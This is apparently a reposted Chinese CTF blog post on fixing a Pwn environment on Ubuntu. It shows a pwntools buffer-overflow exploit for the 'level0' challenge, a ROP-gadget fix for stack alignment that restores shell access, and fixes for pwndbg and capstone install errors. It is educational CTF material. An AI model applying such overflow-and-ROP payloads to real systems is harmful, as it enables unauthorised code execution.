搭建Ubuntu16.04系统下Pwn环境的几个疑难问题

2024-01-23 23:08

本文主要是介绍搭建Ubuntu16.04系统下Pwn环境的几个疑难问题,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 1. 使用通用exp执行不能getshell(stopped with exit code -11 (SIGSEGV))
    • 2. 安装pwndbg后启动gdb报错(raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'"))
    • 3. 安装pwntools报错(Building wheel for capstone (setup.py) ... error)

  之前搭建了一下 Ubuntu 系统下的 Pwn 环境,但是搭建过程中遇到很多问题,有些顺手可以解决。还有一部分花费了很长时间,在此记录。
  搭建过程:
   搭建Ubuntu16.04系统下的Pwn环境及问题解决实践

1. 使用通用exp执行不能getshell(stopped with exit code -11 (SIGSEGV))

  前情提要:
  我本来是有一套 Kali 的做题环境的,执行 exp 什么的都正常,后来重新搭了一套 Ubuntu20.04 的环境。工具什么的都可以正常安装,但是发现之前能用的 exp 都执行不了了,执行起来会报错并且不能getshell了。
  以攻防世界Pwn题目“level0”为例,EXP如下:

from pwn import *sh = process("./291721f42a044f50a2aead748d539df0")
sh.recv()
payload=0x88*'a'+p64(0x400596)
sh.sendline(payload)
sh.interactive()

  报错如下:

[+] Starting local process './291721f42a044f50a2aead748d539df0': pid 3975
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ ls
[*] Process './291721f42a044f50a2aead748d539df0' stopped with exit code -11 (SIGSEGV) (pid 3975)
[*] Got EOF while sending in interactive

在这里插入图片描述

  当时以为是 Ubuntu 版本太高,导致系统 libc 版本过高,不能正常执行,所以打算换一个版本低一些的 Ubuntu,结果试了好多版本都不能正常执行。。
  然后我的思路是将系统的 libc 版本换掉,或者指定运行时加载的 libc 文件,但是貌似不太行。
  因为我之前的 Kali 系统,EXP都是可以正常执行的,看了一下 libc 版本。

在这里插入图片描述
然后安装glibc-all-in_one
git clone https://github.com/matrix1001/glibc-all-in-one
安装后进入目录先./update_list更新一下,然后cat list可以查看支持的libc版本,cat old_list查看老版本,然后./download {libc版本}就可以下载对应libc版本了,我这里下载的是2.28-0ubuntu1_amd64

这里尝试了以下几种方法改变运行时的libc文件,但是都没啥效果,还是运行报错了。

1. patchelf

命令行使用patchelf命令。
patchelf --set-interpreter //home/pwn/Downloads/glibc-all-in-one/libs/2.28-0ubuntu1_amd64/libc-2.28.so ./291721f42a044f50a2aead748d539df0
patchelf --replace-needed libc.so.6 /home/pwn/Downloads/glibc-all-in-one/libs/2.28-0ubuntu1_amd64/ld-2.28.so ./291721f42a044f50a2aead748d539df0
patchelf --set-rpath /home/pwn/Downloads/glibc-all-in-one/libs/2.28-0ubuntu1_amd64/ ./291721f42a044f50a2aead748d539df0

但是我改完以后使用ldd查看报错了,运行也不行。

2. process的env参数

在Python脚本中
sh = process(["./291721f42a044f50a2aead748d539df0"], env={"LD_PRELOAD":"./libc-2.28.so"})指定libc。

经过尝试也不太行。

3. pwn_debug

安装:
git clone https://github.com/ray-cp/pwn_debug.git
cd pwn_debug
sudo python setup.py install

可以在Python脚本中指定加载的libc。debug模式和local模式二选一即可,debug模式的参数可以指定libc版本,local模式参数直接写libc地址即可。但我没有成功。。。

from pwn_debug import *pdbg=pwn_debug("binary")# debug模式
pdbg.debug("2.23")
p=pdbg.run("debug")# local模式
gdbp.local("./libc.so.6","ld.so")
p=pdbg.run("local")p.interactive()

最后经过分析,造成无法getshell的原因是因为libc版本不同,导致进入system函数后的栈结构遭到改变,不能满足system函数对于栈平衡的条件,从而导致了触发段错误。

我们在进入system函数之前下断点,可以看到汇编指令如下:

在我之前可以正常打EXP的Kali机器上:

在这里插入图片描述

可以看到 do_system 函数直接对 ebp 寄存器进行入栈。

而在我新搭建的 Ubuntu 环境上:

在这里插入图片描述
可以看到 do_system 函数的前几句是:

push r13
mov ecx, 0x10
push r12

然后才开始将 rbp 入栈。这也是导致栈不平衡的原因。

因此对于此问题的简单解决方法如下:

ROPgadget --binary ./291721f42a044f50a2aead748d539df0 --only 'pop|ret'

在这里插入图片描述
最终的EXP修改如下:

from pwn import *sh = process("./291721f42a044f50a2aead748d539df0")
sh.recv()
payload=0x88*'a'+p64(0x40065c)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x400596)
sh.sendline(payload)
sh.interactive()

运行成功:

在这里插入图片描述

2. 安装pwndbg后启动gdb报错(raise argparse.ArgumentError(banner_arg, f"banner can not be ‘{banner}’"))

具体报错内容如下:
在这里插入图片描述

Traceback (most recent call last):File "/home/pwn/Downloads/pwndbg/gdbinit.py", line 24, in <module>import pwndbg # isort:skipFile "/home/pwn/Downloads/pwndbg/pwndbg/__init__.py", line 21, in <module>import pwndbg.commands.contextFile "/home/pwn/Downloads/pwndbg/pwndbg/commands/context.py", line 141raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'")^
SyntaxError: invalid syntax

这个问题也纠结了好长时间。

网上有的文章说是要安装32位运行库,我试了不行。
怀疑是gdb的版本,重装了gdb也不行。

最蛋疼的是我的这个报错在网上根本搜不到。。

我看很多文章写的 pwndbg 要求的是 Python3.5,所以一直也都没有怀疑Python的版本。
注:我的pwntools环境用的是Python2,但是安装pwndbg是要求Python3环境的。

后来实在没办法,跟着报错去查源码。
发现报错的源码是在contextoutput函数内,一个抛出异常的语句,并且用了格式化字符串。

def contextoutput(section, path, clearing, banner="both", width=None):if banner not in ('both', 'top', 'bottom', 'none'):# raise bannerraise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'")

根据报错内容,我在物理机写了同样的一段逻辑然后运行,发现正常啊。
然后查看对比了 Python 版本,正常运行的是3.7.2,虚拟机上是3.5.2,然后翻了 Python 的官方文档,发现 Python 是在3.6之后才支持的f-string语法。

我懒得再升级 Python 版本了,系统的自带的这个 Python 最好不要轻易卸载,不然很麻烦。

因为我报错的这个语句只是一个异常处理的分支,正常情况来说是不会走到这里的,所以理论上来说直接注释掉就可以。运行报错是因为当前版本的编译器不认识这种语法,所以大概修改一下,保存重新运行就行了。
在这里插入图片描述

def contextoutput(section, path, clearing, banner="both", width=None):if banner not in ('both', 'top', 'bottom', 'none'):raise argparse.ArgumentError(banner_arg, "banner can not be '" + banner + "'")# raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'")

保存然后重新运行 gdb,成功启动pwndbg。

在这里插入图片描述

3. 安装pwntools报错(Building wheel for capstone (setup.py) … error)

我在使用部分 Ubuntu 版本,在安装pwntools时出现,忘了截图了,可以看下报错,有的是因为没有安装make命令。

sudo apt-get install make

安装一下就行了。

有的是因为没有安装Capstone反汇编框架。

git clone https://github.com/aquynh/capstone
cd capstone
make
make install

经尝试也可以使用

pip install python-capstone

这篇关于搭建Ubuntu16.04系统下Pwn环境的几个疑难问题的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/637807

相关文章

通过Docker容器部署Python环境的全流程

《通过Docker容器部署Python环境的全流程》在现代化开发流程中,Docker因其轻量化、环境隔离和跨平台一致性的特性,已成为部署Python应用的标准工具,本文将详细演示如何通过Docker容... 目录引言一、docker与python的协同优势二、核心步骤详解三、进阶配置技巧四、生产环境最佳实践

SpringBoot 多环境开发实战(从配置、管理与控制)

《SpringBoot多环境开发实战(从配置、管理与控制)》本文详解SpringBoot多环境配置,涵盖单文件YAML、多文件模式、MavenProfile分组及激活策略,通过优先级控制灵活切换环境... 目录一、多环境开发基础(单文件 YAML 版)(一)配置原理与优势(二)实操示例二、多环境开发多文件版

使用docker搭建嵌入式Linux开发环境

《使用docker搭建嵌入式Linux开发环境》本文主要介绍了使用docker搭建嵌入式Linux开发环境,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面... 目录1、前言2、安装docker3、编写容器管理脚本4、创建容器1、前言在日常开发全志、rk等不同

JWT + 拦截器实现无状态登录系统

《JWT+拦截器实现无状态登录系统》JWT(JSONWebToken)提供了一种无状态的解决方案:用户登录后,服务器返回一个Token,后续请求携带该Token即可完成身份验证,无需服务器存储会话... 目录✅ 引言 一、JWT 是什么? 二、技术选型 三、项目结构 四、核心代码实现4.1 添加依赖(pom

基于Python实现自动化邮件发送系统的完整指南

《基于Python实现自动化邮件发送系统的完整指南》在现代软件开发和自动化流程中,邮件通知是一个常见且实用的功能,无论是用于发送报告、告警信息还是用户提醒,通过Python实现自动化的邮件发送功能都能... 目录一、前言:二、项目概述三、配置文件 `.env` 解析四、代码结构解析1. 导入模块2. 加载环

linux系统上安装JDK8全过程

《linux系统上安装JDK8全过程》文章介绍安装JDK的必要性及Linux下JDK8的安装步骤,包括卸载旧版本、下载解压、配置环境变量等,强调开发需JDK,运行可选JRE,现JDK已集成JRE... 目录为什么要安装jdk?1.查看linux系统是否有自带的jdk:2.下载jdk压缩包2.解压3.配置环境

Linux搭建ftp服务器的步骤

《Linux搭建ftp服务器的步骤》本文给大家分享Linux搭建ftp服务器的步骤,本文通过图文并茂的形式给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录ftp搭建1:下载vsftpd工具2:下载客户端工具3:进入配置文件目录vsftpd.conf配置文件4:

Linux查询服务器系统版本号的多种方法

《Linux查询服务器系统版本号的多种方法》在Linux系统管理和维护工作中,了解当前操作系统的版本信息是最基础也是最重要的操作之一,系统版本不仅关系到软件兼容性、安全更新策略,还直接影响到故障排查和... 目录一、引言:系统版本查询的重要性二、基础命令解析:cat /etc/Centos-release详

更改linux系统的默认Python版本方式

《更改linux系统的默认Python版本方式》通过删除原Python软链接并创建指向python3.6的新链接,可切换系统默认Python版本,需注意版本冲突、环境混乱及维护问题,建议使用pyenv... 目录更改系统的默认python版本软链接软链接的特点创建软链接的命令使用场景注意事项总结更改系统的默

Java 与 LibreOffice 集成开发指南(环境搭建及代码示例)

《Java与LibreOffice集成开发指南(环境搭建及代码示例)》本文介绍Java与LibreOffice的集成方法,涵盖环境配置、API调用、文档转换、UNO桥接及REST接口等技术,提供... 目录1. 引言2. 环境搭建2.1 安装 LibreOffice2.2 配置 Java 开发环境2.3 配